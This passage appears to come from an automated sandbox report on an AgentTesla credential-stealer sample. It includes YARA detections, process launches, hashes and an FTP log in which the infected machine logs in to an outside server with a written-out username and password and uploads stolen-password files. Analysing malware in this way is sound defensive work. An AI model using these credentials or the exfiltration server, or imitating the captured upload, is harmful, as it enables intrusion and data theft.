2024-10-09 08:51:25 UTC	8000	IN	Data Raw: 43 89 fc ce b6 1f 53 39 3d 1e dd 34 fb 1f ea f1 b6 83 38 aa 0b 08 30 a0 af b1 18 dd f0 41 03 b1 60 b8 14 9a f7 42 2a 39 07 9a c0 db 07 78 ec 3e da 46 b5 2d 04 ec e3 9f 16 4e 08 e0 70 37 6c 09 7a 04 05 5c 13 89 ed 13 69 ff 0b 7f 11 5e 8f df 74 37 17 ee b6 64 b5 50 f5 ca 6e e4 bc be 64 02 30 00 b9 df f4 b8 c9 f0 5b 12 e8 f1 4a cd 48 d1 d2 cd 08 a3 5f f6 ee 09 50 0c 2d a7 5d 8a cc 67 cc ef 1d 88 19 79 5b 2a 39 e4 79 51 b0 68 63 ee 6d b9 66 9a 0c 4c d9 c6 7d 28 5d e6 9d 07 81 3d 94 e1 f7 8b 2d ac 0b 7a a7 44 85 a0 ee f7 fe 45 b0 38 64 af 57 98 56 1b 12 aa a2 58 55 87 3b 9d 72 dd 9f da 4d ec 50 7d 31 3c 9c 3d 2a 76 22 50 bc ec b2 b3 4d a2 87 47 49 13 13 05 cc 5b cf 7d d9 b3 31 8e e7 62 4a 41 21 12 87 e3 9d ca e2 8b bf 58 ab 2f c1 42 7c a5 0c 0f 90 6f 93 ad 64 Data Ascii: CS9=480A`B9x>F-Np7lz\i^t7dPnd0[JH_P-]gy[9yQhcmfL}(]=-zDE8dWVXU;rMP}1<=*v"PMGI[}1bJA!X/B\|od
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: bb ca 76 1d f5 7c 55 6b 58 74 c6 32 63 37 fb 1d f2 d1 a7 e8 a0 9c f2 bb f8 ec 5e f4 86 38 44 4e c6 04 93 be cb 87 9f 96 1e 8e a0 bf 1a 1c 3c fb 6e ad f8 68 02 04 d3 53 5f b9 bf f0 ab 24 8b 01 98 fa 30 fc 97 78 3d 76 6f e6 6f b0 8f 25 6d b4 3a e1 16 71 3e b5 17 b6 41 98 31 78 36 40 1c a6 19 20 55 89 99 e9 da 4d 84 72 cf 4e 98 9c b8 c2 8a 2b d1 12 98 ba 13 db 4f 33 ac c2 9f 2c b6 ef 3f f4 54 ed 4a d4 7a 05 41 c3 e6 b4 1b db 02 03 19 e0 ff 79 1b 86 ed 4f d7 b7 29 3d c0 d0 82 76 f4 37 5d 0c e6 73 4c be c6 7d ed de f8 d6 a7 ff 28 72 96 36 64 84 d3 4b 1e 78 44 f1 bc 62 64 58 16 90 6e 57 63 1d 4e 19 10 ba 63 84 32 42 7d e6 c0 2b 41 8a 3e eb bf 4c 84 ad aa 6c a1 a2 3e 56 23 71 4a 14 1d b0 b9 3f fa da 5b fd 99 f6 4b b2 0c 0d e4 88 1d ca 5b 75 68 dc 94 98 5f 59 0f Data Ascii: v\|UkXt2c7^8DN<nhS_$0x=voo%m:q>A1x6@ UMrN+O3,?TJzAyO)=v7]sL}(r6dKxDbdXnWcNc2B}+A>Ll>V#qJ?[K[uh_Y
2024-10-09 08:51:25 UTC	8000	IN	Data Raw: 8a 0b 21 00 87 bc 1a 06 7f 57 bd 89 8c 18 4d b5 17 4c b6 e6 f7 ac e1 71 09 a5 e1 7f 86 4a d5 1b 4f 02 2d 8f c9 c4 5a e5 79 5c b4 22 4e 81 62 84 aa 93 87 4b a6 b7 ec ea 16 4c a3 81 df f6 b1 9e c8 32 b2 b0 4f 60 e5 cd e2 47 09 ea fb ff cb 64 b9 05 15 93 11 12 72 c7 28 43 21 fb a2 2e f0 99 ed 75 af 32 fd 17 53 85 eb b4 b5 09 f5 da 52 9c cc 9e 35 10 f2 4c 6a d7 33 32 01 c7 15 c7 9c 29 0a 6e 60 f2 40 a8 75 d4 5e 69 97 4c 67 54 5b ae bd 56 ee af b3 95 e1 fd a3 ad 73 ba 98 b6 15 05 fb b5 2c 53 2f d5 76 d4 0a af 14 43 4d c3 06 5c 12 2d 10 15 5d c9 a8 92 b4 7b 12 fb 29 fa 9d b1 bf 43 5a 7e ed 57 cf 7e ef 29 d4 5c ea 37 f4 cd 7f 7e 5b e4 92 02 a1 0e b0 5c 8c 95 f5 27 57 49 02 9c d4 f4 c9 f1 4d 46 e1 d5 6e c6 d1 8d ea 8e 3f 96 09 1a dd 1a 83 a5 e6 12 b5 0d 86 34 3c Data Ascii: !WMLqJO-Zy\"NbKL2O`Gdr(C!.u2SR5Lj32)n`@u^iLgT[Vs,S/vCM\-]{)CZ~W~)\7~[\'WIMFn?4<

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 9, 2024 10:51:05.319823027 CEST	21	49731	5.2.84.236	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 9, 2024 10:51:05.324054003 CEST	49731	21	192.168.2.4	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 9, 2024 10:51:05.549638033 CEST	21	49731	5.2.84.236	192.168.2.4	331 User fgghv@alternatifplastik.com OK. Password required
Oct 9, 2024 10:51:05.556726933 CEST	49731	21	192.168.2.4	5.2.84.236	PASS Fineboy777@
Oct 9, 2024 10:51:05.856355906 CEST	21	49731	5.2.84.236	192.168.2.4	230 OK. Current restricted directory is /
Oct 9, 2024 10:51:06.081975937 CEST	21	49731	5.2.84.236	192.168.2.4	504 Unknown command
Oct 9, 2024 10:51:06.082195997 CEST	49731	21	192.168.2.4	5.2.84.236	PWD
Oct 9, 2024 10:51:06.307672024 CEST	21	49731	5.2.84.236	192.168.2.4	257 "/" is your current location
Oct 9, 2024 10:51:06.307852030 CEST	49731	21	192.168.2.4	5.2.84.236	TYPE I
Oct 9, 2024 10:51:06.533163071 CEST	21	49731	5.2.84.236	192.168.2.4	200 TYPE is now 8-bit binary
Oct 9, 2024 10:51:06.533437967 CEST	49731	21	192.168.2.4	5.2.84.236	PASV
Oct 9, 2024 10:51:06.758912086 CEST	21	49731	5.2.84.236	192.168.2.4	227 Entering Passive Mode (5,2,84,236,211,156)
Oct 9, 2024 10:51:06.765173912 CEST	49731	21	192.168.2.4	5.2.84.236	STOR PW_user-618321_2024_10_09_04_51_03.html
Oct 9, 2024 10:51:07.397644043 CEST	21	49731	5.2.84.236	192.168.2.4	150 Accepted data connection
Oct 9, 2024 10:51:07.624701977 CEST	21	49731	5.2.84.236	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.227 seconds (measured here), 1.37 Kbytes per second
Oct 9, 2024 10:51:21.326148033 CEST	21	49740	5.2.84.236	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 9, 2024 10:51:21.326410055 CEST	49740	21	192.168.2.4	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 9, 2024 10:51:21.545527935 CEST	21	49740	5.2.84.236	192.168.2.4	331 User fgghv@alternatifplastik.com OK. Password required
Oct 9, 2024 10:51:21.546813965 CEST	49740	21	192.168.2.4	5.2.84.236	PASS Fineboy777@
Oct 9, 2024 10:51:21.791490078 CEST	21	49740	5.2.84.236	192.168.2.4	230 OK. Current restricted directory is /
Oct 9, 2024 10:51:22.010991096 CEST	21	49740	5.2.84.236	192.168.2.4	504 Unknown command
Oct 9, 2024 10:51:22.011218071 CEST	49740	21	192.168.2.4	5.2.84.236	PWD
Oct 9, 2024 10:51:22.230489016 CEST	21	49740	5.2.84.236	192.168.2.4	257 "/" is your current location
Oct 9, 2024 10:51:22.230655909 CEST	49740	21	192.168.2.4	5.2.84.236	TYPE I
Oct 9, 2024 10:51:22.452299118 CEST	21	49740	5.2.84.236	192.168.2.4	200 TYPE is now 8-bit binary
Oct 9, 2024 10:51:22.453718901 CEST	49740	21	192.168.2.4	5.2.84.236	PASV
Oct 9, 2024 10:51:22.673631907 CEST	21	49740	5.2.84.236	192.168.2.4	227 Entering Passive Mode (5,2,84,236,233,230)
Oct 9, 2024 10:51:22.680289984 CEST	49740	21	192.168.2.4	5.2.84.236	STOR PW_user-618321_2024_10_09_04_51_19.html
Oct 9, 2024 10:51:23.289320946 CEST	21	49740	5.2.84.236	192.168.2.4	150 Accepted data connection
Oct 9, 2024 10:51:23.509576082 CEST	21	49740	5.2.84.236	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.221 seconds (measured here), 1.41 Kbytes per second
Oct 9, 2024 10:51:29.896641016 CEST	21	49743	5.2.84.236	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 9, 2024 10:51:29.923542023 CEST	49743	21	192.168.2.4	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 9, 2024 10:51:30.158037901 CEST	21	49743	5.2.84.236	192.168.2.4	331 User fgghv@alternatifplastik.com OK. Password required
Oct 9, 2024 10:51:30.167351007 CEST	49743	21	192.168.2.4	5.2.84.236	PASS Fineboy777@
Oct 9, 2024 10:51:30.409931898 CEST	21	49743	5.2.84.236	192.168.2.4	230 OK. Current restricted directory is /
Oct 9, 2024 10:51:30.633862972 CEST	21	49743	5.2.84.236	192.168.2.4	504 Unknown command
Oct 9, 2024 10:51:30.634056091 CEST	49743	21	192.168.2.4	5.2.84.236	PWD
Oct 9, 2024 10:51:30.858278990 CEST	21	49743	5.2.84.236	192.168.2.4	257 "/" is your current location
Oct 9, 2024 10:51:30.858453035 CEST	49743	21	192.168.2.4	5.2.84.236	TYPE I
Oct 9, 2024 10:51:31.082277060 CEST	21	49743	5.2.84.236	192.168.2.4	200 TYPE is now 8-bit binary
Oct 9, 2024 10:51:31.082462072 CEST	49743	21	192.168.2.4	5.2.84.236	PASV
Oct 9, 2024 10:51:31.306466103 CEST	21	49743	5.2.84.236	192.168.2.4	227 Entering Passive Mode (5,2,84,236,199,14)
Oct 9, 2024 10:51:31.312442064 CEST	49743	21	192.168.2.4	5.2.84.236	STOR PW_user-618321_2024_10_09_04_51_28.html
Oct 9, 2024 10:51:31.936820030 CEST	21	49743	5.2.84.236	192.168.2.4	150 Accepted data connection
Oct 9, 2024 10:51:32.161956072 CEST	21	49743	5.2.84.236	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.225 seconds (measured here), 1.39 Kbytes per second

Target ID:	0
Start time:	04:50:56
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe"
Imagebase:	0xf50000
File size:	9'728 bytes
MD5 hash:	0C3D0B4CD6833A23EBC0687D97C64D73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1735614547.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:51:02
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xb70000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.1884023773.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.1884023773.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:51:14
Start date:	09/10/2024
Path:	C:\Users\user\AppData\Roaming\Cbgoomiexw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Cbgoomiexw.exe"
Imagebase:	0x370000
File size:	9'728 bytes
MD5 hash:	0C3D0B4CD6833A23EBC0687D97C64D73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.1881514343.000000000269A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs Detection: 26%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:51:19
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1966127439.00000000028D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1966127439.0000000002881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:51:22
Start date:	09/10/2024
Path:	C:\Users\user\AppData\Roaming\Cbgoomiexw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Cbgoomiexw.exe"
Imagebase:	0xcc0000
File size:	9'728 bytes
MD5 hash:	0C3D0B4CD6833A23EBC0687D97C64D73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.1965310119.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:51:27
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xe10000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2913625192.000000000330E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2913625192.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	98.4%
Signature Coverage:	2.5%
Total number of Nodes:	567
Total number of Limit Nodes:	51

Executed Functions

Function 06F1C050 Relevance: 16.2, Strings: 12, Instructions: 1155COMMON

Download Yara Rule

Strings

4, xrefs: 06F1CA35
$^q, xrefs: 06F1C4B7
$^q, xrefs: 06F1C557
$^q, xrefs: 06F1C99A
$^q, xrefs: 06F1C98A
$^q, xrefs: 06F1C2F3
$^q, xrefs: 06F1C2E3
$^q, xrefs: 06F1C941
$^q, xrefs: 06F1C931
,bq, xrefs: 06F1CB1A
$^q, xrefs: 06F1C4A7
$^q, xrefs: 06F1C567

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-312445597
Opcode ID: d106c3852bfb77327d601343c08efa121ae02339851c501f4f5dd17ce219e0a2
Instruction ID: 35ea993d81b7be2900c0c57edb703f11a946decb8104d99faed275d1f261739e
Opcode Fuzzy Hash: d106c3852bfb77327d601343c08efa121ae02339851c501f4f5dd17ce219e0a2
Instruction Fuzzy Hash: DDB20534E402288FDB54CFA8C894BADB7B6BF88740F158599E505AB3A5DB74EC81CF50

Function 06F1C387 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 06F1CA35
$^q, xrefs: 06F1C557
$^q, xrefs: 06F1C98A
$^q, xrefs: 06F1C931
,bq, xrefs: 06F1CB1A
$^q, xrefs: 06F1C4A7

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q
API String ID: 0-2546334966
Opcode ID: 29ac67313d6a0ea35e50f377e1ad81662be2cecf64f7dc7b476946ce68f11a3c
Instruction ID: 8e23f4a6c64e73b0440a92d3888bbe026ac78b0c0087b5369a3d388e4dfb0d7c
Opcode Fuzzy Hash: 29ac67313d6a0ea35e50f377e1ad81662be2cecf64f7dc7b476946ce68f11a3c
Instruction Fuzzy Hash: B622E534E40219CFDB64CF68C894BA9B7B6BF88744F1481A9E509AB3A5DB34DD81CF50

Function 06D7F370 Relevance: 3.0, Strings: 2, Instructions: 543
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 06D7F47C
fcq, xrefs: 06D7F48F

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: fcq$8
API String ID: 0-89531850
Opcode ID: 550e0a34a4b8366f77553a197eeba178adee8692c9d6db6394269eb12a9d0f98
Instruction ID: 697c850b1b23a7f35a11eca2521eb617b04d636fde78acda9039da198d771bc0
Opcode Fuzzy Hash: 550e0a34a4b8366f77553a197eeba178adee8692c9d6db6394269eb12a9d0f98
Instruction Fuzzy Hash: 1842C275D006298FDB64DF69C854AD9B7B2BF89300F1486EAD40DA7351EB30AE85CF81

Function 06D7F360 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h, xrefs: 06D7F470
fcq, xrefs: 06D7F48F

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: fcq$h
API String ID: 0-1849521214
Opcode ID: c4240f051d6e71f42a3af6fef608c5ec9f1732a0db3a94f85ee1345b1c989238
Instruction ID: 660bd96a53853863efe2a1631234d0a2e14a855eae19bd4564c6c41b8cc89e3e
Opcode Fuzzy Hash: c4240f051d6e71f42a3af6fef608c5ec9f1732a0db3a94f85ee1345b1c989238
Instruction Fuzzy Hash: 9261E471D006298FEB64DF6ACC547D9BBB2BF89300F54C2AAC44DA7250EB305A85CF91

Function 06D90040 Relevance: 2.3, Strings: 1, Instructions: 1081COMMON

Download Yara Rule

Strings

2, xrefs: 06D90B80

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 7db4428fe91a5f0fd92a0eaabc8515ec872f0026df866067cb4ccc8a5bc849bf
Instruction ID: 282f1feb40a60ead33a3e9d8409812cfc2285d31986a44a2d536df782eff265c
Opcode Fuzzy Hash: 7db4428fe91a5f0fd92a0eaabc8515ec872f0026df866067cb4ccc8a5bc849bf
Instruction Fuzzy Hash: 19C2A0B4E00228CFDB65DF69D884B99BBB6FB89300F1081E9D509AB355DB309E85CF51

Function 06F18420 Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06F186F5

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e57c556fe160147c58d61e0877cc3954fb624e0aa3686c2b35038ed5b82f0317
Instruction ID: 49dac6ac246ce92d146e43909614d9789c1830107a36d7fb87f7af2f26bf8163
Opcode Fuzzy Hash: e57c556fe160147c58d61e0877cc3954fb624e0aa3686c2b35038ed5b82f0317
Instruction Fuzzy Hash: 11F10574E05218CFEBA4CF69D994BA9BBF2FB49380F1084AAD41DAB255DB705D84CF10

Function 06F18410 Relevance: 1.6, Strings: 1, Instructions: 366COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06F186F5

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 6d02af1c1734ab760716dab88356b7d11b67f242ac6e3a54da9fc6474adf13e2
Instruction ID: fae897a29fecc9c7f34c11370a87c1f1a6954d1991d40fce279fa5ff62fbb758
Opcode Fuzzy Hash: 6d02af1c1734ab760716dab88356b7d11b67f242ac6e3a54da9fc6474adf13e2
Instruction Fuzzy Hash: E6F1F674E05218CFEBA4CF69D984B99BBF2FB49380F1081AAD41DAB255DB705D84CF10

Function 06EE2428 Relevance: 1.6, APIs: 1, Instructions: 67nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06EE24B9

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e51a5053a6adfc4da2a1b259c8fb36c0ed9d0d52c2de3141641edd74f02b48ce
Instruction ID: 66653a0c634338dede7b8d9056212a6f4616d5125b64c5a037700e5edba2d8be
Opcode Fuzzy Hash: e51a5053a6adfc4da2a1b259c8fb36c0ed9d0d52c2de3141641edd74f02b48ce
Instruction Fuzzy Hash: F32102B1D013499FCB10DFAAD984A9EFBF5FF48310F20842EE559A7240C7759A41CBA5

Function 06EE2430 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06EE24B9

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
